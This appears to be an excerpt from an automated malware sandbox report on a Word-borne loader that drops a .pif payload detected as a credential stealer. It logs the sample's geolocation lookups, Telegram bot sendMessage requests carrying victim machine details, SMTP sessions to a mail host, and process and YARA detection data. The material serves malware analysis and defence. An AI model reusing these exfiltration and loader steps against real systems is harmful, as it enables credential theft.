                                                                                                                                                          2025-01-07 12:25:38 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          23192.168.2.549967188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:39 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:39 UTC859INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:39 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567528
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a6p98t%2B9M0QRx8UDFAZkNV5J2zFa8NYkhtgjv1wS%2FwUNWw%2BI%2FyEdAg1tC2JlOHQ1s5fb6Umfjupnli2LNDvuMbH69cRvHw8z1JGpBblje%2BYstho4i3QBD3ZjohV4mPULJKogIAIe"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee87f826c341-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1612&rtt_var=622&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1733966&cwnd=177&unsent_bytes=0&cid=5f8855b66380364f&ts=159&x=0"
                                                                                                                                                          2025-01-07 12:25:39 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          24192.168.2.549968188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:40 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:40 UTC851INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:40 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567529
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rJaTpphDj7tsrZ1XZMjImweiKmsMKrzptnJigYkGmtVLeGyg5UqHSNCH0wGu2fyhIxxTvHZSbnXlMXpuFKtZ%2B8x8vo6x6dAHAnLtp0fXgnHcBvx9bJLvpIv4AKgF937j3lapVJE0"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee899f6f0f5d-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1495&min_rtt=1493&rtt_var=564&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1935056&cwnd=229&unsent_bytes=0&cid=f4395ffaffb76e0e&ts=153&x=0"
                                                                                                                                                          2025-01-07 12:25:40 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          25192.168.2.549981188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:41 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:41 UTC857INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:41 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567530
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VM5728nQb2iMrtK2Gsj1cZHaUd4fDPXrgKU09SBUlDGzfRh3j%2FGoV2ouZehE8vbJx1bEkKtIncx0PJVlibEYEIL1i9DHOeKxw0aytfX%2FRCX3eWu%2Bq34%2BgtQg2HzgY59iJGhgvO5L"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee90dcf47ce2-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1973&rtt_var=755&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1436301&cwnd=238&unsent_bytes=0&cid=92774d0cc90a4333&ts=140&x=0"
                                                                                                                                                          2025-01-07 12:25:41 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          26192.168.2.549982188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:41 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:41 UTC849INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:41 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567530
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gx4DHVXXYgoZtH6p33Zdp6Qu37uo1GMey97Te0rCI33Mvyhx3r4wj3E08cvg81NkmdUDyrhq1A0sLbFHCGmAzv58WriVTPslNEAx286I3Tl1tXaSuhfoFzAXZh43qmbTU6jLZE79"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee927c402365-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1834&min_rtt=1818&rtt_var=714&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1498973&cwnd=154&unsent_bytes=0&cid=4a2da2d71eb8b4c6&ts=154&x=0"
                                                                                                                                                          2025-01-07 12:25:41 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          27192.168.2.549986149.154.167.2204432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:41 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2021:58:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                          Host: api.telegram.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:42 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                          Server: nginx/1.18.0
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:42 GMT
                                                                                                                                                          Content-Type: application/json
                                                                                                                                                          Content-Length: 55
                                                                                                                                                          Connection: close
                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                          2025-01-07 12:25:42 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                          Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          28192.168.2.549996188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:42 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:42 UTC851INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:42 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567532
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pPzOK5vUA40WP1l7eaIxDs6Rv7z5MEp0MdBfOzFdfIHabrn98XJduj2aG6dpl3rmTMkTOg8zFpIS2lRTfXgREkUGQTbfKxkuJuSpjatJRgc2YQB0Ht7FpIzYBYG35gZCeGPXS%2F2F"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee9b5838ef9f-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1937&min_rtt=1928&rtt_var=742&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1457085&cwnd=219&unsent_bytes=0&cid=dffa73dd4e77d663&ts=149&x=0"
                                                                                                                                                          2025-01-07 12:25:42 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          29192.168.2.550001149.154.167.2204435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:43 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2022:17:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                          Host: api.telegram.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:43 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                          Server: nginx/1.18.0
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:43 GMT
                                                                                                                                                          Content-Type: application/json
                                                                                                                                                          Content-Length: 55
                                                                                                                                                          Connection: close
                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                          2025-01-07 12:25:43 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                          Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                          SMTP Packets

                                                                                                                                                          TimestampSource PortDest PortSource IPDest IPCommands
                                                                                                                                                          Jan 7, 2025 13:25:42.084903955 CET58749989208.91.198.176192.168.2.5220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 01/07/25 12:25:41
                                                                                                                                                          Jan 7, 2025 13:25:42.085587978 CET49989587192.168.2.5208.91.198.176EHLO 405464
                                                                                                                                                          Jan 7, 2025 13:25:42.243477106 CET58749989208.91.198.176192.168.2.5250-PLESK-WEB15.webhostbox.net [8.46.123.189], this server offers 5 extensions
                                                                                                                                                          250-AUTH NTLM CRAM-MD5 LOGIN
                                                                                                                                                          250-SIZE 31457280
                                                                                                                                                          250-HELP
                                                                                                                                                          250-AUTH=LOGIN
                                                                                                                                                          250 STARTTLS
                                                                                                                                                          Jan 7, 2025 13:25:42.243871927 CET49989587192.168.2.5208.91.198.176STARTTLS
                                                                                                                                                          Jan 7, 2025 13:25:42.406136990 CET58749989208.91.198.176192.168.2.5220 Ready to start TLS
                                                                                                                                                          Jan 7, 2025 13:25:48.942564011 CET58750037208.91.198.176192.168.2.5220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 01/07/25 12:25:48
                                                                                                                                                          Jan 7, 2025 13:25:48.942774057 CET50037587192.168.2.5208.91.198.176EHLO 405464
                                                                                                                                                          Jan 7, 2025 13:25:49.093192101 CET58750037208.91.198.176192.168.2.5250-PLESK-WEB15.webhostbox.net [8.46.123.189], this server offers 5 extensions
                                                                                                                                                          250-AUTH NTLM CRAM-MD5 LOGIN
                                                                                                                                                          250-SIZE 31457280
                                                                                                                                                          250-HELP
                                                                                                                                                          250-AUTH=LOGIN
                                                                                                                                                          250 STARTTLS
                                                                                                                                                          Jan 7, 2025 13:25:49.093908072 CET50037587192.168.2.5208.91.198.176STARTTLS
                                                                                                                                                          Jan 7, 2025 13:25:49.252965927 CET58750037208.91.198.176192.168.2.5220 Ready to start TLS
                                                                                                                                                          Jan 7, 2025 13:25:50.536334991 CET58750048208.91.198.176192.168.2.5220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 01/07/25 12:25:50
                                                                                                                                                          Jan 7, 2025 13:25:50.536638021 CET50048587192.168.2.5208.91.198.176EHLO 405464
                                                                                                                                                          Jan 7, 2025 13:25:50.684482098 CET58750048208.91.198.176192.168.2.5250-PLESK-WEB15.webhostbox.net [8.46.123.189], this server offers 5 extensions
                                                                                                                                                          250-AUTH NTLM CRAM-MD5 LOGIN
                                                                                                                                                          250-SIZE 31457280
                                                                                                                                                          250-HELP
                                                                                                                                                          250-AUTH=LOGIN
                                                                                                                                                          250 STARTTLS
                                                                                                                                                          Jan 7, 2025 13:25:50.684700966 CET50048587192.168.2.5208.91.198.176STARTTLS
                                                                                                                                                          Jan 7, 2025 13:25:50.846302986 CET58750048208.91.198.176192.168.2.5220 Ready to start TLS

                                                                                                                                                          Statistics

                                                                                                                                                          CPU Usage

                                                                                                                                                          Click to jump to process

                                                                                                                                                          Memory Usage

                                                                                                                                                          Click to jump to process

                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                          Behavior

                                                                                                                                                          Click to jump to process

                                                                                                                                                          System Behavior

                                                                                                                                                          General

                                                                                                                                                          Target ID:0
                                                                                                                                                          Start time:07:24:51
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
                                                                                                                                                          Imagebase:0x7c0000
                                                                                                                                                          File size:1'620'872 bytes
                                                                                                                                                          MD5 hash:1A0C2C2E7D9C4BC18E91604E9B0C7678
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:8
                                                                                                                                                          Start time:07:25:00
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                          File size:1'161'216 bytes
                                                                                                                                                          MD5 hash:483AB6BD562B28782D0999ABEC4F57F5
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:Borland Delphi
                                                                                                                                                          Yara matches:
                                                                                                                                                          • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.2213632449.00000000022C6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.2233031033.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          Reputation:low
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:10
                                                                                                                                                          Start time:07:25:04
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                                                                                          Imagebase:0x790000
                                                                                                                                                          File size:236'544 bytes
                                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:11
                                                                                                                                                          Start time:07:25:04
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                          Imagebase:0x7ff6d64d0000
                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:12
                                                                                                                                                          Start time:07:25:04
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                          File size:175'800 bytes
                                                                                                                                                          MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Yara matches:
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3446215142.0000000027271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.3446215142.0000000027271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
